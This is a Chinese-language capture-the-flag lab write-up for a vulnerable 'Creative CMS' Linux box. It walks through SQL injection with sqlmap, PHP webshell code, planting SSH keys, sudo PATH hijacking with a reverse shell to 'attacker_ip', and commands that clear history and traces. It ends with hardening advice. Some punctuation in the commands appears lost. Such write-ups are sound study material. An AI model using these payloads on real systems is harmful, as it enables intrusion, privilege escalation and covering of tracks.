1. 靶场环境基础认知这个靶机属于典型的Web应用安全测试环境采用Linux系统搭建运行着存在漏洞的Web服务。从IP扫描结果来看开放了22(SSH)、80(HTTP)和3306(MySQL)三个关键端口这种组合在CTF比赛中非常常见。特别值得注意的是3306端口对外开放这通常意味着数据库可能存在弱密码或注入漏洞。我首次访问80端口时发现是个简单的企业门户网站页面底部有Powered by Creative CMS v1.2的标识。经过指纹比对确认这是开发者自研的内容管理系统版本信息暴露了潜在的攻击面。2. 信息收集与漏洞探测2.1 目录爆破实战使用dirsearch工具进行深度扫描时发现了几个关键路径/admin - 后台登录入口 /backup - 数据库备份目录 /upload - 文件上传功能点特别在/backup目录下找到了名为creative_cms.sql的数据库备份文件下载分析后发现其中包含管理员表的哈希值。通过hashcat跑字典成功破解出admin:creative123这组凭证。重要提示真实环境中数据库备份文件必须设置访问权限开发人员常犯的错误就是直接将备份文件放在web目录下。2.2 SQL注入点挖掘在商品搜索功能处发现存在数字型注入/product?id1 触发数据库报错 /product?id1 and 11-- 正常返回 /product?id1 and 12-- 无结果返回使用sqlmap自动化验证sqlmap -u http://target/product?id1 --risk3 --level5 --dbs成功获取到数据库名creative_cms并导出users表中的管理员凭证。3. 权限提升技术路线3.1 后台getshell操作使用破解的admin凭证登录后台后在模板管理功能中发现可编辑.php文件。通过插入PHP反向连接代码?php system($_GET[cmd]);?保存后访问模板文件实现RCE。更稳定的方法是利用文件上传功能将包含以下内容的webshell.php文件上传?php if(isset($_REQUEST[cmd])){ $cmd ($_REQUEST[cmd]); system($cmd); } ?3.2 SSH隧道建立在webshell中查看/home目录发现用户creative存在.ssh目录但无authorized_keys。通过生成ssh密钥对ssh-keygen -t rsa echo [公钥内容] /home/creative/.ssh/authorized_keys chmod 600 /home/creative/.ssh/authorized_keys成功建立SSH稳定连接获得更完整的交互式shell。4. 内网横向移动策略4.1 密码嗅探与重用查看/etc/passwd发现多个服务账户mysql:x:1001:1001::/home/mysql:/bin/bash backup:x:1002:1002::/home/backup:/bin/bash在/var/www/html/config.php中找到数据库连接信息$dbuser creative_db; $dbpass Creative2023;尝试密码重用成功登录mysql账户sudo -l检查发现该账户可以root身份执行/usr/bin/backup.sh。4.2 特权脚本利用分析/usr/bin/backup.sh发现以下危险代码#!/bin/bash tar -czf /backups/web_backup.tar.gz /var/www/html/*由于未使用绝对路径我们可以通过PATH劫持进行提权echo #!/bin/bash /tmp/tar echo bash -i /dev/tcp/attacker_ip/4444 01 /tmp/tar chmod x /tmp/tar export PATH/tmp:$PATH sudo /usr/bin/backup.sh成功获取root权限的reverse shell。5. 痕迹清理与加固建议5.1 攻击痕迹清除# 清除命令历史 history -c rm ~/.bash_history # 删除上传的webshell rm /var/www/html/upload/shell.php # 恢复篡改的文件 chattr i /etc/passwd /etc/shadow5.2 系统加固方案修改所有默认凭证特别是数据库和管理后台密码关闭不必要的3306端口外部访问设置正确的文件权限chown -R root:root /var/www/html chmod -R 750 /var/www/html添加WAF防护规则过滤常见攻击payload定期更新系统补丁建立备份机制6. 技术要点总结这个靶场涵盖了Web安全的完整攻击链信息收集 → 漏洞利用 → 权限提升 → 横向移动 → 权限维持几个关键技术突破点数据库备份文件泄露导致凭证破解后台模板编辑功能未做安全过滤Sudo特权脚本存在路径劫持漏洞内网密码重用问题在实际渗透测试中每个环节都可能遇到更复杂的防护措施。建议在掌握基础攻击手法后深入研究各种防御机制的绕过技术。